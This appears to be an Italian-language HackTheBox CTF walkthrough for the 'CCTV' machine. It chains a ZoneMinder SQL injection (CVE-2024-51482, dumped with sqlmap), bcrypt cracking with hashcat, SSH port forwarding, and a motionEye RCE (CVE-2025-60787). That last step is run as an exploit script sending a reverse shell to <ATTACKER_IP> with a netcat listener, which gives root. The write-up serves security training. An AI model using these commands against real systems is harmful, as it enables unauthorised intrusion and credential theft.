
HackTheBox CCTV walkthrough che concatena CVE-2024-51482 SQL injection su ZoneMinder, cracking dell'hash bcrypt e CVE-2025-60787 RCE su motionEye per ottenere root.
Piattaforma: HackTheBox | OS: Linux
Un'SQL injection in ZoneMinder tramite CVE-2024-51482 estrae un hash bcrypt dal database. Cracking con hashcat fornisce l'accesso SSH. Un'istanza interna di motionEye esposta tramite port forwarding è vulnerabile a CVE-2025-60787 — fornisce una shell root.
nmap -sV -sC 10.129.53.160 -Pn
22/tcp open ssh OpenSSH 9.6p1 (Ubuntu)
80/tcp open http Apache 2.4.58 — SecureVision CCTV & Security Solutions
Aggiunto cctv.htb a /etc/hosts. La porta 80 ospitava un'installazione di ZoneMinder.
CVE-2024-51482 è una vulnerabilità di SQL injection nell'endpoint di login di ZoneMinder. Il parametro username non è sanificato, consentendo l'estrazione dal database.
sqlmap -u "http://cctv.htb/zm/index.php" \
--data="username=admin&password=admin&action=login" \
--dbms=mysql --dump --batch
Estratto un hash di password bcrypt dalla tabella users.
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Password crackata.
ssh <user>@10.129.53.160
User flag recuperata. Verificati i servizi interni.
ss -tlnp
# 127.0.0.1:8765 — motionEye CCTV management panel
Effettuato il port forwarding.
ssh -L 8765:127.0.0.1:8765 <user>@10.129.53.160
CVE-2025-60787 è una RCE autenticata in motionEye. Con l'accesso al pannello interno, comandi arbitrari vengono eseguiti come root.
nc -lvnp 4444
python3 exploit_CVE-2025-60787.py --url http://127.0.0.1:8765 --lhost <ATTACKER_IP> --lport 4444
Shell root ottenuta. Root flag in /root/root.txt.
Solo a scopo educativo. Testare esclusivamente sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione.